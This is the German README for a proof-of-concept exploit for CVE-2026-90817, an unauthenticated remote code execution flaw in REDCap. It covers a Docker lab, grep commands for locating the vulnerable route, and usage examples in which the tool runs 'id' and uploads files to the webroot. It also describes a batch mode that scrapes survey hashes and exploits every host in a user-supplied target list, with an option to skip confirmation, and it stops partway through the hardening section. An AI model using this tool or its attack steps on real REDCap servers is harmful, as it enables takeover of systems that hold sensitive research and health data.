
Python-PoC für CVE-2026-90817, eine unauthentifizierte REDCap-RCE über Survey-Passthrough-Routing und Dateipfad-Injektion, mit einem Docker-Lab und durch Allowlist geschützten Zielen.
| Feld | Wert |
|---|
| CVE | CVE-2026-90817 |
| Produkt | Vanderbilt University REDCap |
| CVSS | 9.8 Kritisch |
| Auth | Unauthentifiziert (erfordert gültigen öffentlichen Survey-Hash) |
| Betroffen | REDCap 13.3.0 und höher |
| Behoben | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (External Control of File Name or Path), CWE-94 (Code Injection) |
Angriffskette:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (Einzelziel, durch Allowlist geschützt)
├── docker-compose.yml # MySQL + PHP-Apache Lab-Stack
├── redcap-init/
│ ├── database.php # REDCap DB-Konfiguration für das Lab
│ └── php.ini # PHP-Einstellungen für das Lab
├── redcap-src/ # <-- REDCap-Quellcode hier entpacken (von Ihnen bereitzustellen)
├── targets.txt # Autorisierte Ziele: ein Host pro Zeile
├── payload.txt # Beispieldatei für den Upload-Modus
├── requirements.txt # Python-Abhängigkeiten
└── poc_results.txt # Wird nach dem PoC-Lauf generiert
REDCap ist lizenzierte Software. Sie müssen sie über offizielle Kanäle für Ihr eigenes Lab beziehen.
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
Warten Sie, bis der MySQL-Healthcheck erfolgreich ist, und öffnen Sie dann:
http://localhost:8080
Schließen Sie den REDCap-Installationsassistenten mit diesen Datenbankeinstellungen ab (vorkonfiguriert in redcap-init/database.php):
| Einstellung | Wert |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=).Beispiel-Umfrage-URL:
http://localhost:8080/surveys/?s=ABC123XYZ
Survey-Hash: ABC123XYZ
Die öffentliche Advisory gibt die genaue Controller-Route oder den Parameternamen nicht preis. Führen Sie nach der Einrichtung Ihres Labs RE auf redcap-src/ durch und füllen Sie die TODO-Konstanten in poc_cve_2026_90817.py aus:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
Suchen Sie nach Survey-Passthrough-Routing:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
Suchen Sie nach der Dateipfad-/Stream-Verarbeitung beim Data Import:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
Setzen Sie STAGE1_SUCCESS_MARKER auf eine Zeichenkette, die in einer erfolgreichen Stage-1-Antwort vorkommt (optional, aber empfohlen).
pip install -r requirements.txt
Das Skript verweigert Ziele, die weder Lab-Hosts sind (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) noch in targets.txt aufgeführt sind.
CVE-2026-90817 ist unauthentifiziert — keine Anmeldung erforderlich. Die einzige Voraussetzung ist ein gültiger öffentlicher Survey-Hash (aus der Survey-URL ?s=HASH).
Das Tool kann den Survey-Hash automatisch ermitteln, indem es öffentliche Seiten des Ziels scrapt (Best-Effort). Es prüft gängige REDCap-Endpunkte (/, /redcap/, /index.php, /surveys/) auf /surveys/?s=HASH-Links. Dies funktioniert nur, wenn das Ziel öffentlich Umfragelinks preisgibt (Fehlkonfiguration). Bei ordnungsgemäß konfigurierten REDCap-Instanzen geben Sie den Hash manuell über --hash an.
--hash ist optional (automatische Ermittlung, falls weggelassen)Für Nicht-Lab-Ziele erstellen Sie targets.txt mit einem Host pro Zeile (FQDN oder IP). Sie sind für die rechtliche Autorisierung jedes aufgeführten Hosts verantwortlich.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
Lab-Ziel mit explizitem Hash:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
Lab-Ziel mit automatisch ermitteltem Hash:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
Fügen Sie --batch hinzu, um jeden in targets.txt aufgeführten Host automatisch zu exploitieren. Das Tool ermittelt den Survey-Hash pro Ziel automatisch durch Scraping öffentlicher Seiten. Das Tool gibt alle Ziele aus und fragt vor dem Start nach Bestätigung (verwenden Sie --yes, um die Eingabeaufforderung für Skripting zu überspringen).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
Der Port wird von --target übernommen (Standard 8080). Um einen anderen Port zu verwenden, setzen Sie --target http://placeholder:443/ vor --batch.
Das Ergebnis jedes Ziels wird an die Ausgabedatei angehängt. Am Ende wird eine Zusammenfassung ausgegeben: N success, M failed, T total.
| Argument | Standard | Beschreibung |
|---|---|---|
--target | http://localhost:8080 | Basis-URL des Ziels |
--hash | (optional) | Öffentlicher Survey-Hash. Falls weggelassen, automatische Ermittlung durch Scraping öffentlicher Seiten (Best-Effort). |
--allowlist | targets.txt | Zieldatei, ein Host pro Zeile |
--batch | aus | Über alle Hosts in der Zieldatei iterieren und jeden exploitieren |
--yes | aus | Die Batch-Bestätigungsaufforderung überspringen |
--mode | both | id, upload oder both |
--out | poc_results.txt | Ergebnis-Logdatei |
--timeout | 30 | HTTP-Timeout (Sekunden) |
--upload-local | payload.txt | Lokale Datei zum Hochladen |
--upload-remote | uploaded_payload.txt | Remote-Dateiname unter dem Webroot |
--skip-placeholder-check | aus | Trockenlauf des HTTP-Flows ohne ausgefüllte TODO-Konstanten |
Hinweis: Die automatische Ermittlung funktioniert nur bei Zielen, die öffentlich Umfragelinks preisgeben. Bei den meisten REDCap-Instanzen geben Sie --hash manuell an.
Bei Erfolg zeigt stdout:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
Ergebnisse werden an poc_results.txt angehängt:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
Aktualisieren Sie auf REDCap 16.0.49 LTS, 17.3.10 LTS oder 17.4.4 Standard Release (je nach Anwendbarkeit).
Zusätzliche Härtung: